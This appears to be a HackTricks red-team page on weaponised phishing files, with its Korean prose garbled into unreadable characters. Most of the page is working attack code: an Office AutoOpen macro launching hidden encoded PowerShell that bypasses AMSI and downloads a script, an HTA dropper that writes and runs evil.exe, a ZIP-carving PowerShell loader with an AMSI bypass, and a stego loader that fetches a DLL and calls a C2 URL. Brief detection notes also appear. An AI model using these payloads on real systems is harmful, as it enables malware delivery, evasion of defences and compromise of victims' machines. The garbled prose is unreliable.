Phishing ํŒŒ์ผ ๋ฐ ๋ฌธ์„œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Office ๋ฌธ์„œ

Microsoft Word๋Š” ํŒŒ์ผ์„ ์—ด๊ธฐ ์ „์— ํŒŒ์ผ ๋ฐ์ดํ„ฐ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๋Š” OfficeOpenXML ํ‘œ์ค€์— ๋”ฐ๋ผ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ ์‹๋ณ„์˜ ํ˜•ํƒœ๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ ์‹๋ณ„ ์ค‘์— ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ๋ถ„์„ ์ค‘์ธ ํŒŒ์ผ์€ ์—ด๋ฆฌ์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋ณดํ†ต ๋งคํฌ๋กœ๋ฅผ ํฌํ•จํ•œ Word ํŒŒ์ผ์€ .docm ํ™•์žฅ์ž๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํŒŒ์ผ ํ™•์žฅ์ž๋ฅผ ๋ณ€๊ฒฝํ•ด ํŒŒ์ผ ์ด๋ฆ„์„ ๋ฐ”๊พธ์–ด๋„ ๋งคํฌ๋กœ ์‹คํ–‰ ๊ธฐ๋Šฅ์„ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, RTF ํŒŒ์ผ์€ ์„ค๊ณ„์ƒ ๋งคํฌ๋กœ๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์ง€๋งŒ, DOCM ํŒŒ์ผ์„ RTF๋กœ ์ด๋ฆ„์„ ๋ฐ”๊พธ๋ฉด Microsoft Word๊ฐ€ ํ•ด๋‹น ํŒŒ์ผ์„ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋งคํฌ๋กœ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋™์ผํ•œ ๋‚ด๋ถ€ ๊ตฌ์กฐ์™€ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด Microsoft Office Suite์˜ ๋ชจ๋“  ์†Œํ”„ํŠธ์›จ์–ด(Excel, PowerPoint ๋“ฑ)์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ผ๋ถ€ Office ํ”„๋กœ๊ทธ๋žจ์—์„œ ์‹คํ–‰๋  ํ™•์žฅ์ž๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

assoc | findstr /i "word excel powerp"

DOCX files referencing a remote template (File โ€“Options โ€“Add-ins โ€“Manage: Templates โ€“Go) that includes macros can โ€œexecuteโ€ macros as well.

์™ธ๋ถ€ ์ด๋ฏธ์ง€ ๋กœ๋“œ

Go to: Insert โ€“> Quick Parts โ€“> Field
์นดํ…Œ๊ณ ๋ฆฌ: Links and References, Filed names: includePicture, and ํŒŒ์ผ ์ด๋ฆ„ ๋˜๋Š” URL: http:///whatever

Macros Backdoor

๋ฌธ์„œ์—์„œ macros๋ฅผ ์‚ฌ์šฉํ•ด ์ž„์˜์˜ code๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ž๋™ ๋กœ๋“œ ํ•จ์ˆ˜

๋” ํ”ํ• ์ˆ˜๋ก AV๊ฐ€ ํƒ์ง€ํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์•„์ง„๋‹ค.

  • AutoOpen()
  • Document_Open()

Macros Code Examples

Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>

์ˆ˜๋™์œผ๋กœ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ œ๊ฑฐ

๋‹ค์Œ์œผ๋กœ ์ด๋™: File > Info > Inspect Document > Inspect Document, ๊ทธ๋Ÿฌ๋ฉด Document Inspector๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. Inspect๋ฅผ ํด๋ฆญํ•œ ๋‹ค์Œ Document Properties and Personal Information ์˜†์˜ Remove All์„ ํด๋ฆญํ•˜์„ธ์š”.

Doc Extension

์ž‘์—…์ด ๋๋‚˜๋ฉด Save as type ๋“œ๋กญ๋‹ค์šด์„ ์„ ํƒํ•˜๊ณ  ํ˜•์‹์„ **.docx**์—์„œ **Word 97-2003 .doc**๋กœ ๋ณ€๊ฒฝํ•˜์„ธ์š”.
์ด๋ ‡๊ฒŒ ํ•˜๋Š” ์ด์œ ๋Š” .docx ์•ˆ์—๋Š” ๋งคํฌ๋กœ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์—†๊ณ  ๋งคํฌ๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ .docm ํ™•์žฅ์ž์—๋Š” ๋‚™์ธ(stigma)์ด ์žˆ์–ด(์˜ˆ: ์ธ๋„ค์ผ ์•„์ด์ฝ˜์— ํฐ !๊ฐ€ ํ‘œ์‹œ๋˜๊ณ  ์ผ๋ถ€ ์›น/์ด๋ฉ”์ผ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ ์ด๋ฅผ ์ „๋ถ€ ์ฐจ๋‹จํ•จ) ๋”ฐ๋ผ์„œ ์ด ๋ ˆ๊ฑฐ์‹œ .doc ํ™•์žฅ์ž๊ฐ€ ์ตœ์„ ์˜ ํƒ€ํ˜‘์ž…๋‹ˆ๋‹ค.

Malicious Macros Generators

HTA Files

HTA๋Š” HTML๊ณผ ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด(์˜ˆ: VBScript ๋ฐ JScript)๋ฅผ ๊ฒฐํ•ฉํ•œ Windows ํ”„๋กœ๊ทธ๋žจ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๋ธŒ๋ผ์šฐ์ €์˜ ๋ณด์•ˆ ๋ชจ๋ธ ์ œ์•ฝ์„ ๋ฐ›์ง€ ์•Š๋Š” โ€œfully trustedโ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

HTA๋Š” **mshta.exe**๋ฅผ ์‚ฌ์šฉํ•ด ์‹คํ–‰๋˜๋ฉฐ, ๋ณดํ†ต Internet Explorer์™€ ํ•จ๊ป˜ ์„ค์น˜๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— mshta๋Š” IE์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Internet Explorer๊ฐ€ ์ œ๊ฑฐ๋˜์–ด ์žˆ๋‹ค๋ฉด HTA๋Š” ์‹คํ–‰ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>

<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function

Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"

Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function

var_func
self.close
</script>

NTLM ์ธ์ฆ ๊ฐ•์ œํ•˜๊ธฐ

์›๊ฒฉ์œผ๋กœ NTLM ์ธ์ฆ์„ ๊ฐ•์ œํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผํ•  ์ด๋ฉ”์ผ์ด๋‚˜ HTML์— ๋ณด์ด์ง€ ์•Š๋Š” ์ด๋ฏธ์ง€๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜(HTTP MitM ํฌํ•จ?), ํ”ผํ•ด์ž์—๊ฒŒ ํด๋”๋ฅผ ์—ฌ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ์ธ์ฆ์„ ์œ ๋ฐœํ•˜๋Š” ํŒŒ์ผ ์ฃผ์†Œ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

๋‹ค์Œ ํŽ˜์ด์ง€๋“ค์—์„œ ์ด๋Ÿฌํ•œ ์•„์ด๋””์–ด์™€ ๋” ๋งŽ์€ ๋‚ด์šฉ์„ ํ™•์ธํ•˜๋ผ:

Force NTLM Privileged Authentication

Places to steal NTLM creds

NTLM Relay

ํ•ด์‹œ๋‚˜ ์ธ์ฆ ์ •๋ณด๋ฅผ ํ›”์น˜๋Š” ๊ฒƒ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ NTLM relay ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ์žŠ์ง€ ๋ง์ž:

LNK Loaders + ZIP-Embedded Payloads (fileless chain)

๋งค์šฐ ํšจ๊ณผ์ ์ธ ์บ ํŽ˜์ธ์€ ๋‘ ๊ฐœ์˜ ์ •์ƒ์ ์ธ ๋ฏธ๋ผ ๋ฌธ์„œ(PDF/DOCX)์™€ ์•…์„ฑ .lnk ๋ฅผ ํฌํ•จํ•œ ZIP์„ ์ „๋‹ฌํ•œ๋‹ค. ํ•ต์‹ฌ์€ ์‹ค์ œ PowerShell loader๊ฐ€ ๊ณ ์œ ํ•œ ๋งˆ์ปค ์ดํ›„ ZIP์˜ raw bytes ์•ˆ์— ์ €์žฅ๋˜์–ด ์žˆ๊ณ , .lnk๊ฐ€ ์ด๋ฅผ carveํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์™„์ „ํžˆ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

Typical flow implemented by the .lnk PowerShell one-liner:

  1. Desktop, Downloads, Documents, %TEMP%, %ProgramData%, ํ˜„์žฌ ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ์ƒ์œ„ ํด๋” ๋“ฑ ์ผ๋ฐ˜ ๊ฒฝ๋กœ์—์„œ ์›๋ณธ ZIP์„ ์ฐพ๋Š”๋‹ค.
  2. ZIP ๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด ํ•˜๋“œ์ฝ”๋”ฉ๋œ ๋งˆ์ปค(e.g., xFIQCV)๋ฅผ ์ฐพ๋Š”๋‹ค. ๋งˆ์ปค ์ดํ›„์˜ ๋ชจ๋“  ๊ฒƒ์ด ์ž„๋ฒ ๋””๋“œ๋œ PowerShell ํŽ˜์ด๋กœ๋“œ๋‹ค.
  3. ZIP์„ %ProgramData%๋กœ ๋ณต์‚ฌํ•˜๊ณ , ๊ทธ๊ณณ์—์„œ ์ถ”์ถœํ•œ ๋’ค ๋ฏธ๋ผ .docx๋ฅผ ์—ด์–ด ์ •๋‹นํ•ด ๋ณด์ด๊ฒŒ ํ•œ๋‹ค.
  4. ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด AMSI๋ฅผ ์šฐํšŒํ•œ๋‹ค: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
  5. ๋‹ค์Œ ๋‹จ๊ณ„(์˜ˆ: ๋ชจ๋“  # ๋ฌธ์ž๋ฅผ ์ œ๊ฑฐ)๋ฅผ ๋””์˜ต์…”์ผ€์ดํŠธํ•˜๊ณ  ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์‹คํ–‰ํ•œ๋‹ค.

Example PowerShell skeleton to carve and run the embedded stage:

$marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths    = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx   = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code

Notes

  • ๋ฐฐํฌ๋Š” ์ข…์ข… ํ‰ํŒ์ด ์ข‹์€ PaaS ํ•˜์œ„ ๋„๋ฉ”์ธ(์˜ˆ: *.herokuapp.com)์„ ์•…์šฉํ•˜๋ฉฐ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ๋‹ค(์˜ˆ: IP/UA์— ๋”ฐ๋ผ ์ •์ƒ ZIP ํŒŒ์ผ ์ œ๊ณต).
  • ๋‹ค์Œ ๋‹จ๊ณ„์—์„œ๋Š” ํ”ํžˆ base64/XOR shellcode๋ฅผ ๋ณตํ˜ธํ™”ํ•˜์—ฌ ๋””์Šคํฌ ํ”์ ์„ ์ตœ์†Œํ™”ํ•˜๊ธฐ ์œ„ํ•ด Reflection.Emit + VirtualAlloc์„ ํ†ตํ•ด ์‹คํ–‰ํ•œ๋‹ค.

Persistence used in the same chain

  • Microsoft Web Browser control์˜ COM TypeLib hijacking์œผ๋กœ, IE/Explorer ๋˜๋Š” ์ด๋ฅผ ์ž„๋ฒ ๋”ฉํ•œ ์•ฑ์ด ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž๋™์œผ๋กœ ์žฌ์‹คํ–‰ํ•˜๊ฒŒ ํ•œ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ๊ณผ ๋ฐ”๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ช…๋ น์€ ๋‹ค์Œ์„ ์ฐธ์กฐ:

COM Hijacking

Hunting/IOCs

  • ์•„์นด์ด๋ธŒ ๋ฐ์ดํ„ฐ ๋์— ASCII ๋งˆ์ปค ๋ฌธ์ž์—ด(์˜ˆ: xFIQCV)์ด ์ถ”๊ฐ€๋œ ZIP ํŒŒ์ผ.
  • .lnk๊ฐ€ ์ƒ์œ„/์‚ฌ์šฉ์ž ํด๋”๋ฅผ ์—ด๊ฑฐํ•˜์—ฌ ZIP์„ ์ฐพ์•„ ๋ฏธ๋ผ ๋ฌธ์„œ๋ฅผ ์—ฐ๋‹ค.
  • AMSI ๋ณ€์กฐ via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
  • ์‹ ๋ขฐ๋œ PaaS ๋„๋ฉ”์ธ์— ํ˜ธ์ŠคํŒ…๋œ ๋งํฌ๋กœ ๋๋‚˜๋Š” ์žฅ๊ธฐ ์‹คํ–‰ ๋น„์ฆˆ๋‹ˆ์Šค ์Šค๋ ˆ๋“œ.

Steganography-delimited payloads in images (PowerShell stager)

์ตœ๊ทผ ๋กœ๋” ์ฒด์ธ์€ ๋‚œ๋…ํ™”๋œ JavaScript/VBS๋ฅผ ์ „๋‹ฌํ•˜์—ฌ Base64 PowerShell stager๋ฅผ ๋ณตํ˜ธํ™”ํ•˜๊ณ  ์‹คํ–‰ํ•˜๊ฒŒ ํ•œ๋‹ค. ํ•ด๋‹น stager๋Š” ์ด๋ฏธ์ง€(์ข…์ข… GIF)๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜๋Š”๋ฐ, ๊ทธ ์ด๋ฏธ์ง€์—๋Š” ๊ณ ์œ ํ•œ ์‹œ์ž‘/์ข…๋ฃŒ ๋งˆ์ปค ์‚ฌ์ด์— ํ‰๋ฌธ์œผ๋กœ ์ˆจ๊ฒจ์ง„ Base64-encoded .NET DLL์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ๋Š” ์ด๋Ÿฌํ•œ ๊ตฌ๋ถ„์ž(delimiters)๋ฅผ ๊ฒ€์ƒ‰(์‹ค์ œ ์‚ฌ๋ก€ ์˜ˆ: ยซ<<sudo_png>> โ€ฆ <<sudo_odt>>>ยป), ์‚ฌ์ด์˜ ํ…์ŠคํŠธ๋ฅผ ์ถ”์ถœํ•˜์—ฌ Base64๋กœ ๋””์ฝ”๋”ฉํ•ด ๋ฐ”์ดํŠธ๋กœ ๋ณ€ํ™˜ํ•˜๊ณ , ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋กœ๋“œํ•œ ๋‹ค์Œ C2 URL์„ ์ธ์ˆ˜๋กœ ํ•˜์—ฌ ์•Œ๋ ค์ง„ ์ง„์ž… ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

Workflow

  • Stage 1: ์•„์นด์ด๋ธŒ๋œ JS/VBS dropper โ†’ ๋‚ด์žฅ๋œ Base64๋ฅผ ๋””์ฝ”๋”ฉ โ†’ -nop -w hidden -ep bypass ์˜ต์…˜์œผ๋กœ PowerShell stager ์‹คํ–‰.
  • Stage 2: PowerShell stager โ†’ ์ด๋ฏธ์ง€ ๋‹ค์šด๋กœ๋“œ, ๋งˆ์ปค๋กœ ๊ตฌ๋ถ„๋œ Base64๋ฅผ carvingํ•˜์—ฌ .NET DLL์„ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋กœ๋“œํ•˜๊ณ  ํ•ด๋‹น ๋ฉ”์„œ๋“œ(e.g., VAI)๋ฅผ C2 URL๊ณผ ์˜ต์…˜์„ ์ „๋‹ฌํ•˜์—ฌ ํ˜ธ์ถœ.
  • Stage 3: Loader๊ฐ€ ์ตœ์ข… ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ฐ€์ ธ์™€ ์ผ๋ฐ˜์ ์œผ๋กœ process hollowing์„ ํ†ตํ•ด ์‹ ๋ขฐ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ(์ฃผ๋กœ MSBuild.exe)์— ์ธ์ ์…˜. process hollowing ๋ฐ trusted utility proxy execution์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ์ฐธ์กฐ:

Common API used in Malware

PowerShell example to carve a DLL from an image and invoke a .NET method in-memory:

PowerShell stego ํŽ˜์ด๋กœ๋“œ ์ถ”์ถœ๊ธฐ ๋ฐ ๋กœ๋” ```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<>', [string]$EndM = '<>', [string]$EntryType = 'Loader', [string]$EntryMeth = 'VAI', [string]$C2 = 'https://c2.example/payload' ) $img = (New-Object Net.WebClient).DownloadString($Url) $start = $img.IndexOf($StartM) $end = $img.IndexOf($EndM) if($start -lt 0 -or $end -lt 0 -or $end -le $start){ throw 'markers not found' } $b64 = $img.Substring($start + $StartM.Length, $end - ($start + $StartM.Length)) $bytes = [Convert]::FromBase64String($b64) $asm = [Reflection.Assembly]::Load($bytes) $type = $asm.GetType($EntryType) $method = $type.GetMethod($EntryMeth, [Reflection.BindingFlags] 'Public,Static,NonPublic') $null = $method.Invoke($null, @($C2, $env:PROCESSOR_ARCHITECTURE)) ```

๋…ธํŠธ

  • This is ATT&CK T1027.003 (steganography/marker-hiding). Markers vary between campaigns.
  • AMSI/ETW bypass and string deobfuscation์€ ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๊ธฐ ์ „์— ์ผ๋ฐ˜์ ์œผ๋กœ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ํƒ์ง€: ๋‹ค์šด๋กœ๋“œ๋œ ์ด๋ฏธ์ง€์—์„œ ์•Œ๋ ค์ง„ ๊ตฌ๋ถ„์ž๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ , PowerShell์ด ์ด๋ฏธ์ง€๋ฅผ ์ ‘๊ทผํ•˜์—ฌ ์ฆ‰์‹œ Base64 ๋ธ”๋กญ์„ ๋””์ฝ”๋”ฉํ•˜๋Š” ๊ฒƒ์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.

See also stego tools and carving techniques:

Quick Triage Checklist First 10 Minutes

JS/VBS droppers โ†’ Base64 PowerShell staging

๋ฐ˜๋ณต๋˜๋Š” ์ดˆ๊ธฐ ๋‹จ๊ณ„๋Š” ์•„์นด์ด๋ธŒ ์•ˆ์— ํฌํ•จ๋˜์–ด ์ „๋‹ฌ๋˜๋Š” ์ž‘๊ณ  ๊ฐ•ํ•˜๊ฒŒ ๋‚œ๋…ํ™”๋œ .js ๋˜๋Š” .vbs์ž…๋‹ˆ๋‹ค. ๊ทธ ์œ ์ผํ•œ ๋ชฉ์ ์€ ๋‚ด์žฅ๋œ Base64 ๋ฌธ์ž์—ด์„ ๋””์ฝ”๋”ฉํ•˜๊ณ  -nop -w hidden -ep bypass ์˜ต์…˜์œผ๋กœ PowerShell์„ ์‹คํ–‰ํ•˜์—ฌ HTTPS๋ฅผ ํ†ตํ•ด ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋ถ€ํŠธ์ŠคํŠธ๋žฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ณจ๊ฒฉ ๋กœ์ง (์ถ”์ƒ):

  • ์ž์‹ ์˜ ํŒŒ์ผ ๋‚ด์šฉ์„ ์ฝ์Œ
  • ๋ถˆํ•„์š”ํ•œ ๋ฌธ์ž์—ด๋“ค ์‚ฌ์ด์˜ Base64 ๋ธ”๋กญ์„ ์ฐพ์Œ
  • ASCII ํ˜•ํƒœ์˜ PowerShell ์ฝ”๋“œ๋กœ ๋””์ฝ”๋”ฉ
  • wscript.exe/cscript.exe๋กœ powershell.exe๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ์‹คํ–‰

ํƒ์ง€ ๋‹จ์„œ

  • ์•„์นด์ด๋ธŒ๋œ JS/VBS ์ฒจ๋ถ€ํŒŒ์ผ์ด ๋ช…๋ น์ค„์— -enc/FromBase64String๋ฅผ ํฌํ•จํ•˜์—ฌ powershell.exe๋ฅผ ์‹คํ–‰ํ•จ.
  • ์‚ฌ์šฉ์ž ์ž„์‹œ ๊ฒฝ๋กœ์—์„œ wscript.exe๊ฐ€ powershell.exe -nop -w hidden์„ ์‹คํ–‰ํ•จ.

Windows files to steal NTLM hashes

๋‹ค์Œ ํŽ˜์ด์ง€์—์„œ places to steal NTLM creds๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

Places to steal NTLM creds

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ